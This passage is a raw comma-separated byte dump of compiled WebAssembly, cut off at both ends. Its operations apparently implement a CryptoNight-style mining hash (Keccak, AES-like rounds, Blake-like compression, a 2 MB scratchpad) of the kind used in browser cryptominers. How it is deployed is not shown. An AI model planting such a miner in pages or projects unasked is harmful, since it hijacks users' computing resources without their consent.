32,1,65,15,106,65,3,116,106,34,61,41,3,0,124,33,74,32,5,32,1,65,16,106,65,3,116,106,34,62,32,5,32,1,65,127,106,34,7,65,3,116,106,41,3,0,55,3,0,32,4,32,0,65,3,116,106,32,4,32,7,65,3,116,106,41,3,0,34,84,55,3,0,32,79,66,41,134,32,79,66,23,136,132,32,73,32,79,124,34,69,133,33,79,32,80,66,9,134,32,80,66,55,136,132,32,70,32,80,124,34,78,133,33,80,32,87,66,37,134,32,87,66,27,136,132,32,65,32,87,124,34,65,133,33,81,32,85,32,77,124,32,82,124,34,63,32,85,66,31,134,32,85,66,33,136,132,133,33,73,32,72,66,47,134,32,72,66,17,136,132,32,64,32,72,124,34,64,133,34,72,32,63,124,33,76,32,74,66,30,134,32,74,66,34,136,132,32,68,32,75,124,32,67,124,32,74,124,34,63,133,34,74,32,65,124,33,70,32,64,32,73,124,34,77,32,73,66,4,134,32,73,66,60,136,132,133,34,90,32,83,66,12,134,32,83,66,52,136,132,32,71,32,83,124,34,67,133,34,83,32,69,124,34,68,124,33,87,32,63,32,81,124,34,69,32,81,66,42,134,32,81,66,22,136,132,133,34,71,32,86,66,44,134,32,86,66,20,136,132,32,66,32,86,124,34,63,133,34,73,32,78,124,34,78,124,33,75,32,70,32,63,32,80,124,34,64,32,80,66,53,134,32,80,66,11,136,132,133,34,63,124,34,65,32,63,66,47,134,32,63,66,17,136,132,133,33,89,32,76,32,79,66,41,134,32,79,66,23,136,132,32,79,32,67,124,34,63,133,34,66,124,34,67,32,66,66,46,134,32,66,66,18,136,132,133,33,80,32,74,66,51,134,32,74,66,13,136,132,32,70,133,34,66,32,64,124,33,85,32,71,66,44,134,32,71,66,20,136,132,32,75,133,34,70,32,72,66,56,134,32,72,66,8,136,132,32,76,133,34,71,32,63,124,34,63,124,33,86,32,66,66,19,134,32,66,66,45,136,132,32,85,133,34,79,32,87,124,34,81,32,44,41,3,0,124,33,72,32,73,66,34,134,32,73,66,30,136,132,32,78,133,34,66,32,69,124,34,64,32,80,124,34,82,32,80,66,23,134,32,80,66,41,136,132,133,32,45,41,3,0,124,33,76,32,47,41,3,0,32,75,32,71,66,44,134,32,71,66,20,136,132,32,63,133,34,80,124,34,69,124,33,74,32,89,66,37,134,32,89,66,27,136,132,32,89,32,83,66,16,134,32,83,66,48,136,132,32,68,133,34,68,32,77,124,34,63,124,34,78,133,32,48,41,3,0,124,33,73,32,49,41,3,0,32,65,32,68,66,25,134,32,68,66,39,136,132,32,63,133,34,68,124,34,65,124,33,75,32,70,66,31,134,32,70,66,33,136,132,32,86,133,32,50,41,3,0,124,33,70,32,51,41,3,0,32,66,66,42,134,32,66,66,22,136,132,32,64,133,34,83,32,67,124,34,64,124,33,71,32,52,41,3,0,32,85,32,90,66,31,134,32,90,66,33,136,132,32,87,133,34,67,124,34,63,32,67,66,20,134,32,67,66,44,136,132,133,124,33,66,32,53,41,3,0,32,86,124,33,77,32,54,41,3,0,32,65,32,68,66,52,134,32,68,66,12,136,132,133,124,33,68,32,55,41,3,0,32,78,124,33,67,32,56,41,3,0,32,69,32,80,66,48,134,32,80,66,16,136,132,133,124,33,69,32,57,41,3,0,32,63,124,33,78,32,59,41,3,0,32,83,66,35,134,32,83,66,29,136,132,32,64,133,124,32,60,41,3,0,124,33,65,32,82,32,84,124,32,61,41,3,0,124,33,64,32,88,66,1,124,32,79,66,9,134,32,79,66,55,136,132,32,81,133,124,32,62,41,3,0,124,33,63,32,5,32,1,65,17,106,65,3,116,106,32,43,41,3,0,55,3,0,32,4,32,46,65,3,116,106,32,58,41,3,0,55,3,0,32,0,65,21,73,4,64,32,0,33,1,12,1,11,11,32,27,32,72,32,92,133,34,72,55,3,0,32,28,32,76,32,93,133,34,76,55,3,0,32,29,32,74,32,94,133,34,74,55,3,0,32,30,32,73,32,95,133,34,73,55,3,0,32,31,32,75,32,96,133,34,75,55,3,0,32,32,32,70,32,97,133,34,70,55,3,0,32,33,32,71,32,98,133,34,71,55,3,0,32,34,32,66,32,99,133,34,66,55,3,0,32,35,32,77,32,100,133,34,77,55,3,0,32,36,32,68,32,101,133,34,68,55,3,0,32,37,32,67,32,102,133,34,67,55,3,0,32,38,32,69,32,103,133,34,69,55,3,0,32,39,32,78,32,104,133,34,78,55,3,0,32,40,32,65,32,107,133,34,65,55,3,0,32,41,32,64,32,106,133,34,64,55,3,0,32,42,32,63,32,105,133,34,63,55,3,0,32,6,32,6,41,3,0,66,255,255,255,255,255,255,255,255,191,127,131,34,82,55,3,0,32,2,65,127,106,34,2,4,64,32,3,65,128,1,106,33,3,32,4,41,3,0,33,84,32,65,33,81,32,64,33,65,32,63,33,64,32,82,33,63,12,1,11,11,32,8,32,4,41,3,0,55,3,0,32,9,32,82,55,3,0,32,4,36,4,11,156,11,2,27,127,27,126,32,0,65,40,106,33,1,32,0,65,8,106,33,2,32,0,65,16,106,33,3,32,0,65,24,106,33,4,32,0,65,32,106,33,5,32,0,65,208,0,106,34,12,41,3,0,33,30,32,0,65,160,1,106,34,13,41,3,0,33,28,32,0,65,248,0,106,34,14,41,3,0,33,32,32,0,41,3,0,33,29,32,0,65,168,1,106,34,15,41,3,0,33,31,32,0,65,128,1,106,34,16,41,3,0,33,36,32,0,65,216,0,106,34,17,41,3,0,33,41,32,0,65,48,106,34,18,41,3,0,33,42,32,0,65,56,106,34,19,41,3,0,33,43,32,0,65,176,1,106,34,20,41,3,0,33,34,32,0,65,136,1,106,34,21,41,3,0,33,44,32,0,65,224,0,106,34,22,41,3,0,33,45,32,0,65,192,0,106,34,23,41,3,0,33,46,32,0,65,184,1,106,34,6,41,3,0,33,33,32,0,65,144,1,106,34,24,41,3,0,33,47,32,0,65,232,0,106,34,25,41,3,0,33,48,32,0,65,200,0,106,34,26,41,3,0,33,49,32,0,65,192,1,106,34,7,41,3,0,33,35,32,0,65,152,1,106,34,8,41,3,0,33,39,32,0,65,240,0,106,34,9,41,3,0,33,40,3,64,32,28,32,30,133,32,32,133,32,29,133,32,1,41,3,0,34,51,133,33,37,32,34,32,43,133,32,44,133,32,45,133,32,3,41,3,0,34,52,133,33,38,32,33,32,46,133,32,47,133,32,48,133,32,4,41,3,0,34,53,133,33,50,32,0,32,35,32,49,133,32,39,133,32,40,133,32,5,41,3,0,34,40,133,34,35,32,36,32,31,133,32,41,133,32,2,41,3,0,34,54,133,32,42,133,34,39,66,1,134,32,39,66,63,136,132,133,34,33,32,29,133,55,3,0,32,1,32,33,32,51,133,55,3,0,32,12,32,33,32,30,133,55,3,0,32,14,32,33,32,32,133,55,3,0,32,13,32,33,32,28,133,55,3,0,32,2,32,38,66,1,134,32,38,66,63,136,132,32,37,133,34,28,32,54,133,34,30,55,3,0,32,18,32,28,32,42,133,55,3,0,32,17,32,28,32,41,133,55,3,0,32,16,32,28,32,36,133,55,3,0,32,15,32,28,32,31,133,55,3,0,32,3,32,50,66,1,134,32,50,66,63,136,132,32,39,133,34,28,32,52,133,55,3,0,32,19,32,28,32,43,133,55,3,0,32,22,32,28,32,45,133,55,3,0,32,21,32,28,32,44,133,55,3,0,32,20,32,28,32,34,133,55,3,0,32,4,32,35,66,1,134,32,35,66,63,136,132,32,38,133,34,28,32,53,133,55,3,0,32,23,32,28,32,46,133,55,3,0,32,25,32,48,32,28,133,55,3,0,32,24,32,47,32,28,133,55,3,0,32,6,32,6,41,3,0,32,28,133,55,3,0,32,5,32,50,32,37,66,1,134,32,37,66,63,136,132,133,34,28,32,40,133,55,3,0,32,26,32,28,32,49,133,55,3,0,32,9,32,9,41,3,0,32,28,133,55,3,0,32,8,32,8,41,3,0,32,28,133,55,3,0,32,7,32,7,41,3,0,32,28,133,55,3,0,65,0,33,10,3,64,32,0,32,10,65,2,116,65,176,59,106,40,2,0,65,3,116,106,34,27,41,3,0,33,28,32,27,32,30,65,192,0,32,10,65,2,116,65,208,58,106,40,2,0,34,27,107,173,136,32,30,32,27,173,134,132,55,3,0,32,10,65,1,106,34,10,65,24,71,4,64,32,28,33,30,12,1,11,11,32,4,41,3,0,33,30,32,5,41,3,0,33,28,32,0,32,3,41,3,0,34,32,32,2,41,3,0,34,29,66,127,133,131,32,0,41,3,0,34,31,133,55,3,0,32,2,32,30,32,32,66,127,133,131,32,29,133,55,3,0,32,3,32,28,32,30,66,127,133,131,32,32,133,55,3,0,32,4,32,31,32,28,66,127,133,131,32,30,133,55,3,0,32,5,32,28,32,29,32,31,66,127,133,131,133,55,3,0,32,23,41,3,0,33,30,32,26,41,3,0,33,28,32,1,32,19,41,3,0,34,32,32,18,41,3,0,34,29,66,127,133,131,32,1,41,3,0,34,31,133,55,3,0,32,18,32,30,32,32,66,127,133,131,32,29,133,34,42,55,3,0,32,19,32,28,32,30,66,127,133,131,32,32,133,34,43,55,3,0,32,23,32,31,32,28,66,127,133,131,32,30,133,34,46,55,3,0,32,26,32,28,32,29,32,31,66,127,133,131,133,34,49,55,3,0,32,25,41,3,0,33,28,32,9,41,3,0,33,32,32,12,32,22,41,3,0,34,29,32,17,41,3,0,34,31,66,127,133,131,32,12,41,3,0,34,36,133,34,30,55,3,0,32,17,32,28,32,29,66,127,133,131,32,31,133,34,41,55,3,0,32,22,32,32,32,28,66,127,133,131,32,29,133,34,45,55,3,0,32,25,32,36,32,32,66,127,133,131,32,28,133,34,48,55,3,0,32,9,32,32,32,31,32,36,66,127,133,131,133,34,40,55,3,0,32,24,41,3,0,33,28,32,8,41,3,0,33,29,32,14,32,21,41,3,0,34,31,32,16,41,3,0,34,34,66,127,133,131,32,14,41,3,0,34,33,133,34,32,55,3,0,32,16,32,28,32,31,66,127,133,131,32,34,133,34,36,55,3,0,32,21,32,29,32,28,66,127,133,131,32,31,133,34,44,55,3,0,32,24,32,33,32,29,66,127,133,131,32,28,133,34,47,55,3,0,32,8,32,29,32,34,32,33,66,127,133,131,133,34,39,55,3,0,32,6,41,3,0,33,29,32,7,41,3,0,33,35,32,13,32,20,41,3,0,34,34,32,15,41,3,0,34,37,66,127,133,131,32,13,41,3,0,34,38,133,34,28,55,3,0,32,15,32,29,32,34,66,127,133,131,32,37,133,34,31,55,3,0,32,20,32,35,32,29,66,127,133,131,32,34,133,34,34,55,3,0,32,6,32,38,32,35,66,127,133,131,32,29,133,34,33,55,3,0,32,7,32,35,32,37,32,38,66,127,133,131,133,34,35,55,3,0,32,0,32,0,41,3,0,32,11,65,3,116,65,128,40,106,41,3,0,133,34,29,55,3,0,32,11,65,1,106,34,11,65,24,71,13,0,11,11,212,18,1,34,127,35,4,33,2,35,4,65,192,0,106,36,4,32,2,32,1,45,0,1,65,16,116,32,1,45,0,0,65,24,116,114,32,1,45,0,2,65,8,116,114,32,1,45,0,3,114,54,2,0,32,2,32,1,45,0,5,65,16,116,32,1,45,0,4,65,24,116,114,32,1,45,0,6,65,8,116,114,32,1,45,0,7,114,54,2,4,32,2,32,1,45,0,9,65,16,116,32,1,45,0,8,65,24,116,114,32,1,45,0,10,65,8,116,114,32,1,45,0,11,114,54,2,8,32,2,32,1,45,0,13,65,16,116,32,1,45,0,12,65,24,116,114,32,1,45,0,14,65,8,116,114,32,1,45,0,15,114,54,2,12,32,2,32,1,45,0,17,65,16,116,32,1,45,0,16,65,24,116,114,32,1,45,0,18,65,8,116,114,32,1,45,0,19,114,54,2,16,32,2,32,1,45,0,21,65,16,116,32,1,45,0,20,65,24,116,114,32,1,45,0,22,65,8,116,114,32,1,45,0,23,114,54,2,20,32,2,32,1,45,0,25,65,16,116,32,1,45,0,24,65,24,116,114,32,1,45,0,26,65,8,116,114,32,1,45,0,27,114,54,2,24,32,2,32,1,45,0,29,65,16,116,32,1,45,0,28,65,24,116,114,32,1,45,0,30,65,8,116,114,32,1,45,0,31,114,54,2,28,32,2,32,1,45,0,33,65,16,116,32,1,45,0,32,65,24,116,114,32,1,45,0,34,65,8,116,114,32,1,45,0,35,114,54,2,32,32,2,32,1,45,0,37,65,16,116,32,1,45,0,36,65,24,116,114,32,1,45,0,38,65,8,116,114,32,1,45,0,39,114,54,2,36,32,2,32,1,45,0,41,65,16,116,32,1,45,0,40,65,24,116,114,32,1,45,0,42,65,8,116,114,32,1,45,0,43,114,54,2,40,32,2,32,1,45,0,45,65,16,116,32,1,45,0,44,65,24,116,114,32,1,45,0,46,65,8,116,114,32,1,45,0,47,114,54,2,44,32,2,32,1,45,0,49,65,16,116,32,1,45,0,48,65,24,116,114,32,1,45,0,50,65,8,116,114,32,1,45,0,51,114,54,2,48,32,2,32,1,45,0,53,65,16,116,32,1,45,0,52,65,24,116,114,32,1,45,0,54,65,8,116,114,32,1,45,0,55,114,54,2,52,32,2,32,1,45,0,57,65,16,116,32,1,45,0,56,65,24,116,114,32,1,45,0,58,65,8,116,114,32,1,45,0,59,114,54,2,56,32,2,32,1,45,0,61,65,16,116,32,1,45,0,60,65,24,116,114,32,1,45,0,62,65,8,116,114,32,1,45,0,63,114,54,2,60,32,0,40,2,0,33,11,32,0,65,4,106,34,23,40,2,0,33,12,32,0,65,8,106,34,24,40,2,0,33,14,32,0,65,12,106,34,25,40,2,0,33,15,32,0,65,16,106,34,26,40,2,0,33,1,32,0,65,20,106,34,27,40,2,0,33,3,32,0,65,24,106,34,28,40,2,0,33,4,32,0,65,28,106,34,29,40,2,0,33,5,32,0,65,32,106,34,30,40,2,0,65,136,213,253,161,2,115,33,13,32,0,65,36,106,34,31,40,2,0,65,211,145,140,173,120,115,33,16,32,0,65,40,106,34,32,40,2,0,65,174,148,230,152,1,115,33,17,32,0,65,44,106,34,33,40,2,0,65,196,230,193,27,115,33,18,32,0,40,2,60,4,127,65,162,240,164,160,122,33,9,65,208,227,252,204,2,33,6,65,152,245,187,193,0,33,10,65,137,217,185,226,126,33,7,65,0,5,32,0,40,2,48,34,6,65,162,240,164,160,122,115,33,9,32,6,65,208,227,252,204,2,115,33,6,32,0,40,2,52,34,7,65,152,245,187,193,0,115,33,10,32,7,65,137,217,185,226,126,115,33,7,65,0,11,33,8,3,64,32,1,32,11,106,32,8,65,4,116,65,145,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,144,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,65,16,116,32,9,65,16,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,3,32,12,106,32,8,65,4,116,65,147,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,146,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,3,106,34,12,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,14,106,32,8,65,4,116,65,149,60,106,45,0,0,34,14,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,148,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,14,65,2,116,106,40,2,0,115,106,32,4,106,34,14,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,5,32,15,106,32,8,65,4,116,65,151,60,106,45,0,0,34,15,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,150,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,15,65,2,116,106,40,2,0,115,106,32,5,106,34,15,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,8,65,4,116,65,159,60,106,45,0,0,34,21,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,158,60,106,45,0,0,34,22,65,2,116,106,40,2,0,115,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,1,106,34,11,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,25,116,32,1,65,7,118,114,34,1,106,32,15,106,34,15,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,15,32,22,65,2,116,65,144,42,106,40,2,0,32,2,32,21,65,2,116,106,40,2,0,115,106,32,1,106,34,15,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,25,116,32,1,65,7,118,114,33,1,32,8,65,4,116,65,157,60,106,45,0,0,34,19,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,156,60,106,45,0,0,34,20,65,2,116,106,40,2,0,115,32,14,106,32,5,106,34,14,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,14,32,20,65,2,116,65,144,42,106,40,2,0,32,2,32,19,65,2,116,106,40,2,0,115,106,32,5,106,34,14,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,3,32,11,106,32,8,65,4,116,65,153,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,152,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,3,106,34,11,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,12,106,32,8,65,4,116,65,155,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,154,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,65,16,116,32,9,65,16,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,4,106,34,12,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,8,65,1,106,34,8,65,14,71,13,0,11,32,23,40,2,0,33,8,32,24,40,2,0,33,19,32,25,40,2,0,33,20,32,26,40,2,0,33,21,32,27,40,2,0,33,22,32,28,40,2,0,33,34,32,29,40,2,0,33,35,32,0,32,13,32,11,115,32,0,40,2,0,115,32,30,40,2,0,34,0,115,54,2,0,32,23,32,12,32,16,115,32,8,115,32,31,40,2,0,34,11,115,54,2,0,32,24,32,17,32,14,115,32,19,115,32,32,40,2,0,34,13,115,54,2,0,32,25,32,18,32,15,115,32,20,115,32,33,40,2,0,34,12,115,54,2,0,32,26,32,9,32,1,115,32,21,115,32,0,115,54,2,0,32,27,32,3,32,6,115,32,22,115,32,11,115,54,2,0,32,28,32,4,32,10,115,32,34,115,32,13,115,54,2,0,32,29,32,5,32,7,115,32,35,115,32,12,115,54,2,0,32,2,36,4,11,143,3,1,3,127,32,1,32,0,40,2,0,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,2,40,2,0,115,32,0,65,4,106,34,3,40,2,0,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,0,65,8,106,34,4,40,2,0,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,0,65,12,106,34,5,40,2,0,65,24,118,65,2,116,65,128,32,106,40,2,0,115,54,2,0,32,1,32,3,40,2,0,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,2,40,2,4,115,32,4,40,2,0,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,5,40,2,0,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,0,40,2,0,65,24,118,65,2,116,65,128,32,106,40,2,0,115,54,2,4,32,1,32,4,40,2,0,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,2,40,2,8,115,32,5,40,2,0,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,0,40,2,0,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,3,40,2,0,65,24,118,65,2,116,65,128,32,106,40,2,0,115,54,2,8,32,1,32,5,40,2,0,65,255,1,113,65,2,116,65,128,8,106,40,2,0,32,2,40,2,12,115,32,0,40,2,0,65,8,118,65,255,1,113,65,2,116,65,128,16,106,40,2,0,115,32,3,40,2,0,65,16,118,65,255,1,113,65,2,116,65,128,24,106,40,2,0,115,32,4,40,2,0,65,24,118,65,2,116,65,128,32,106,40,2,0,115,54,2,12,11,126,1,4,127,32,0,65,128,131,128,1,106,34,4,40,2,0,34,1,69,4,64,32,0,16,12,15,11,32,1,40,2,0,34,2,4,64,32,2,40,2,4,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,4,32,1,40,2,0,33,2,11,32,2,40,2,12,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,12,32,1,40,2,0,33,2,11,32,2,16,12,32,1,65,0,54,2,0,32,4,40,2,0,33,1,11,32,1,16,12,32,0,16,12,11,52,1,1,127,65,144,131,128,1,16,16,34,0,69,4,64,32,0,15,11,32,0,65,124,106,40,2,0,65,3,113,69,4,64,32,0,15,11,32,0,65,0,65,144,131,128,1,16,14,26,32,0,11,227,11,1,9,127,35,4,33,3,35,4,65,208,2,106,36,4,32,3,66,0,55,2,0,32,3,66,0,55,2,8,32,3,66,0,55,2,16,32,3,66,0,55,2,24,32,3,66,0,55,2,32,32,3,66,0,55,2,40,32,3,66,0,55,2,48,32,3,65,0,54,2,56,32,3,65,60,106,34,11,65,128,128,4,54,2,0,32,3,65,136,1,106,34,5,65,0,54,2,0,32,3,65,192,0,106,34,6,65,0,54,2,0,32,3,65,196,0,106,34,4,65,0,54,2,0,32,3,65,140,1,106,34,7,65,0,54,2,0,32,3,32,0,32,1,65,255,255,255,255,1,113,34,8,16,21,32,1,65,192,255,255,255,1,113,34,1,32,8,73,4,64,3,64,32,0,32,1,106,44,0,0,33,9,32,5,32,5,40,2,0,34,10,65,1,106,54,2,0,32,3,65,200,0,106,32,10,106,32,9,58,0,0,32,1,65,1,106,34,1,32,8,71,13,0,11,11,32,7,40,2,0,34,1,4,64,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,32,1,116,65,127,106,65,8,32,1,107,116,32,0,45,0,0,113,58,0,0,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,65,7,32,7,40,2,0,107,116,32,0,45,0,0,115,58,0,0,32,7,65,0,54,2,0,5,32,5,32,5,40,2,0,34,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,128,127,58,0,0,11,2,64,2,64,32,5,40,2,0,34,0,65,56,74,4,64,32,0,65,192,0,72,4,64,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,192,0,72,13,0,11,11,32,3,32,3,65,200,0,106,65,192,0,16,21,32,5,65,0,54,2,0,65,0,33,0,12,1,5,32,0,65,56,71,13,1,11,12,1,11,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,56,72,13,0,11,11,32,6,32,6,40,2,0,65,1,106,34,1,54,2,0,32,1,69,4,64,32,4,32,4,40,2,0,65,1,106,54,2,0,11,32,5,65,192,0,54,2,0,65,192,0,33,0,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,60,74,13,0,11,32,6,32,1,54,2,0,32,0,65,56,74,4,64,32,4,40,2,0,33,1,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,56,74,13,0,11,32,4,32,1,54,2,0,11,32,3,32,3,65,200,0,106,65,192,0,16,21,32,3,65,144,2,106,34,4,32,3,41,2,0,55,2,0,32,4,32,3,41,2,8,55,2,8,32,4,32,3,41,2,16,55,2,16,32,4,32,3,41,2,24,55,2,24,32,4,32,3,41,2,32,55,2,32,32,4,32,3,41,2,40,55,2,40,32,4,32,3,41,2,48,55,2,48,32,4,32,3,41,2,56,55,2,56,32,4,32,3,65,208,1,106,34,1,65,0,16,9,32,1,32,3,65,144,1,106,34,0,65,1,16,9,32,0,32,1,65,2,16,9,32,1,32,0,65,3,16,9,32,0,32,1,65,4,16,9,32,1,32,0,65,5,16,9,32,0,32,1,65,6,16,9,32,1,32,0,65,7,16,9,32,0,32,1,65,8,16,9,32,1,32,4,65,9,16,9,32,3,32,3,40,2,0,32,4,40,2,0,115,54,2,0,32,3,65,4,106,34,0,32,0,40,2,0,32,4,40,2,4,115,54,2,0,32,3,65,8,106,34,0,32,0,40,2,0,32,4,40,2,8,115,54,2,0,32,3,65,12,106,34,0,32,0,40,2,0,32,4,40,2,12,115,54,2,0,32,3,65,16,106,34,0,32,0,40,2,0,32,4,40,2,16,115,54,2,0,32,3,65,20,106,34,0,32,0,40,2,0,32,4,40,2,20,115,54,2,0,32,3,65,24,106,34,0,32,0,40,2,0,32,4,40,2,24,115,54,2,0,32,3,65,28,106,34,0,32,0,40,2,0,32,4,40,2,28,115,54,2,0,32,3,65,32,106,34,0,40,2,0,32,4,40,2,32,115,33,6,32,0,32,6,54,2,0,32,3,65,36,106,34,0,40,2,0,32,4,40,2,36,115,33,7,32,0,32,7,54,2,0,32,3,65,40,106,34,0,40,2,0,32,4,40,2,40,115,33,8,32,0,32,8,54,2,0,32,3,65,44,106,34,0,40,2,0,32,4,40,2,44,115,33,9,32,0,32,9,54,2,0,32,3,65,48,106,34,0,40,2,0,32,4,40,2,48,115,33,10,32,0,32,10,54,2,0,32,3,65,52,106,34,0,40,2,0,32,4,40,2,52,115,33,1,32,0,32,1,54,2,0,32,3,65,56,106,34,0,32,0,40,2,0,32,4,40,2,56,115,54,2,0,32,11,32,11,40,2,0,32,4,40,2,60,115,54,2,0,32,2,32,6,58,0,0,32,2,32,6,65,8,118,58,0,1,32,2,32,6,65,16,118,58,0,2,32,2,32,6,65,24,118,58,0,3,32,2,32,7,58,0,4,32,2,32,7,65,8,118,58,0,5,32,2,32,7,65,16,118,58,0,6,32,2,32,7,65,24,118,58,0,7,32,2,32,8,58,0,8,32,2,32,8,65,8,118,58,0,9,32,2,32,8,65,16,118,58,0,10,32,2,32,8,65,24,118,58,0,11,32,2,32,9,58,0,12,32,2,32,9,65,8,118,58,0,13,32,2,32,9,65,16,118,58,0,14,32,2,32,9,65,24,118,58,0,15,32,2,32,10,58,0,16,32,2,32,10,65,8,118,58,0,17,32,2,32,10,65,16,118,58,0,18,32,2,32,10,65,24,118,58,0,19,32,2,32,1,58,0,20,32,2,32,1,65,8,118,58,0,21,32,2,32,1,65,16,118,58,0,22,32,2,32,3,44,0,55,58,0,23,32,2,32,0,44,0,0,58,0,24,32,2,32,3,44,0,57,58,0,25,32,2,32,3,44,0,58,58,0,26,32,2,32,3,44,0,59,58,0,27,32,2,32,11,44,0,0,58,0,28,32,2,32,3,44,0,61,58,0,29,32,2,32,3,44,0,62,58,0,30,32,2,32,3,44,0,63,58,0,31,32,3,36,4,11,93,1,1,127,32,1,32,0,72,32,0,32,1,32,2,106,72,113,4,64,32,1,32,2,106,33,1,32,0,34,3,32,2,106,33,0,3,64,32,2,65,0,74,4,64,32,2,65,1,107,33,2,32,0,65,1,107,34,0,32,1,65,1,107,34,1,44,0,0,58,0,0,12,1,11,11,32,3,33,0,5,32,0,32,1,32,2,16,11,26,11,32,0,11,180,13,1,11,127,35,4,33,6,35,4,65,160,3,106,36,4,32,6,34,7,65,128,4,54,2,0,32,7,65,128,2,54,2,8,32,7,65,32,106,34,3,65,192,41,41,3,0,55,3,0,32,3,65,200,41,41,3,0,55,3,8,32,3,65,208,41,41,3,0,55,3,16,32,3,65,216,41,41,3,0,55,3,24,32,3,65,224,41,41,3,0,55,3,32,32,3,65,232,41,41,3,0,55,3,40,32,3,65,240,41,41,3,0,55,3,48,32,3,65,248,41,41,3,0,55,3,56,32,7,65,16,106,34,13,66,0,55,3,0,32,7,65,24,106,34,11,66,128,128,128,128,128,128,128,128,240,0,55,3,0,32,7,65,12,106,34,12,65,0,54,2,0,32,7,65,8,106,33,9,32,1,65,255,255,255,255,1,113,34,6,65,127,106,34,10,65,64,113,33,8,32,1,65,3,116,65,135,4,75,4,64,32,9,32,0,32,10,65,6,118,65,192,0,16,20,32,6,32,8,107,33,6,32,0,32,8,106,33,0,11,32,6,4,64,32,9,65,216,0,106,32,12,40,2,0,34,1,106,32,0,32,6,16,11,26,32,12,32,1,32,6,106,54,2,0,11,32,7,65,160,2,106,